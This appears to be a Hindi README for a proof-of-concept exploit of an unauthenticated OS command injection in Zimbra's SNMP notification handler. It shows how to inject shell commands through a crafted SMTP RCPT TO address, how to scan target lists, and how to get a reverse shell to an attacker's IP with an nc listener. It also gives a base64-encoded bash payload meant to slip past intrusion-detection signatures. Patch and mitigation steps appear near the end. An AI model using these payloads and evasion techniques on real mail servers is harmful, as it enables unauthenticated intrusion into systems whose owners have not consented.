
ज़िम्ब्रा SNMP अधिसूचना OS कमांड इंजेक्शन — SMTP शोषण के माध्यम से बिना प्रमाणीकरण के RCE (PoC)
Zimbra Collaboration Suite SNMP नोटिफिकेशन हैंडलर में OS कमांड इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्क्रियीकरण |
| प्रभावित | Zimbra ZCS < 10.1.20 (zimbra-snmp इंस्टॉल होने पर) |
| में ठीक किया गया | ZCS 10.1.20 — जुलाई 2026 |
| CISA KEV | 2026-08-21 को जोड़ा गया (FCEB उपचार समय-सीमा: 2026-08-24) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| के रूप में निष्पादन | zimbra OS उपयोगकर्ता |
वैकल्पिक zimbra-snmp पैकेज एक swatchdog नियम के साथ आता है जो /var/log/zimbra.log को उन पंक्तियों के लिए टेल करता है जो इससे मेल खाती हैं:
Service status change: <NAME> changed from <STATE> to <STATE>
जब कोई मेल मिलता है, तो swatchdog कैप्चर किए गए <NAME> फ़ील्ड को बिना किसी सैनिटाइज़ेशन के सीधे SNMP नोटिफिकेशन शेल स्क्रिप्ट को पास कर देता है।
एक अनप्रमाणित हमलावर विशेष रूप से तैयार किया गया SMTP RCPT TO कमांड भेजकर एक क्राफ्टेड लॉग एंट्री इंजेक्ट कर सकता है। RFC 5321 quoted local-part का उपयोग करते हुए, शेल मेटाकैरेक्टर — जैसे $(...) — <NAME> के अंदर एम्बेड किए जाते हैं और तब निष्पादित होते हैं जब swatchdog परिणामी लॉग लाइन को प्रोसेस करता है।
कमज़ोरी का शोषण करने के लिए लक्ष्य पर तीनों शर्तें सत्य होनी चाहिए:
zimbra-snmp पैकेज इंस्टॉल होsnmp_notify = true)swatchdog सेवा चल रही होAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO के साथ एक मानक SMTP वार्तालाप भेजें।swatchdog लॉग पैटर्न से मेल खाता है और इंजेक्ट किए गए $(CMD) को निकालता है।zimbra OS उपयोगकर्ता के रूप में CMD निष्पादित करता है।cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
या apt-get के माध्यम से
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
या yum के माध्यम से
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — प्रति पंक्ति एक होस्ट, वैकल्पिक :port, # से शुरू होने वाली पंक्तियाँ अनदेखी की जाती हैं:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| फ़्लैग | लंबा | डिफ़ॉल्ट | विवरण |
|---|---|---|---|
-H | --host | — | एकल लक्ष्य होस्टनाम या IP |
-f | --file | — | लक्ष्य सूची वाली फ़ाइल |
-p | --port | 587 | डिफ़ॉल्ट SMTP पोर्ट |
-r | --rhost | — | रिवर्स शेल कॉलबैक के लिए आपका IP |
-R | --rport | 4444 | लिसनर पोर्ट |
-t | --timeout | 15 | सॉकेट टाइमआउट सेकंड में |
-S | --ssl | बंद | प्रत्यक्ष TLS (पोर्ट 465 पर स्वतः सक्षम) |
-v | --verbose | बंद | पूरा SMTP डायलॉग प्रिंट करें |
-L | --logfile | — | सत्र लॉग फ़ाइल में लिखें |
-h | --help | — | सहायता दिखाएँ |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
इंजेक्शन से पहले रिवर्स शेल कमांड को base64-एन्कोड किया जाता है:
echo <b64>|base64 -d|bash
यह IDS/IPS को /dev/tcp, bash -i, या nc -e जैसे plaintext signatures से मिलान करने से रोकता है। एन्कोडेड blob को RCPT TO के quoted local-part के अंदर $(...) के रूप में inject किया जाता है, जो swatchdog द्वारा log entry को process करते समय server-side execution को trigger करता है।
| कार्रवाई | विवरण |
|---|---|
| पैच | Zimbra ZCS ≥ 10.1.20 में अपग्रेड करें |
| SNMP notify अक्षम करें | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| पैकेज हटाएं | apt remove zimbra-snmp / yum remove zimbra-snmp |
| नेटवर्क नियंत्रण | जहां परिचालन रूप से संभव हो, इनबाउंड SMTP (25/465/587) को विश्वसनीय relays तक सीमित करें |
यह proof-of-concept केवल अधिकृत सुरक्षा परीक्षण, शैक्षणिक अनुसंधान, और रक्षात्मक उद्देश्यों के लिए जारी किया गया है।
इसे उन सिस्टमों के विरुद्ध चलाना जो आपके स्वामित्व में नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है।
लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेता है।